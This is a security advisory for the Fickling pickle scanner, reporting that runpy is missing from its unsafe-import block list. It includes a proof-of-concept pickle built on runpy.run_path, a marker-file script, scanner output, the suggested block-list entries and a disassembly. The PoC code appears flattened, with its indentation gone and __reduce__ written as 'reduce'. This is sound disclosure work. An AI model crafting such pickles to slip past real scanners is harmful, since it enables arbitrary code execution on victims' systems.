Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:
- File: fickling/analysis.py
- Class: UnsafeImports
- Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:
- PR #187 added pty to the blocklist to fix CVE-2025-67748
- PR #108 documented the blocklist approach
- The same fix pattern should be applied for runpy

How the bypass works:
1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
- runpy
- runpy.run_path
- runpy.run_module
- runpy._run_code
- runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:
- Python 3.13.2
- fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle
import runpy

class MaliciousPayload:
def reduce(self):
return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f:
pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected):
Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}

Step 4: Prove RCE by loading the pickle

import pickle
pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy'
18: \x94 MEMOIZE (as 0)
19: \x8c SHORT_BINUNICODE 'run_path'
29: \x94 MEMOIZE (as 1)
30: \x93 STACK_GLOBAL
31: \x94 MEMOIZE (as 2)
32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py'
...
100: R REDUCE
101: \x94 MEMOIZE (as 5)
102: . STOP

Impact

Vulnerability Type:
Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted:
Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario:
An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with runpy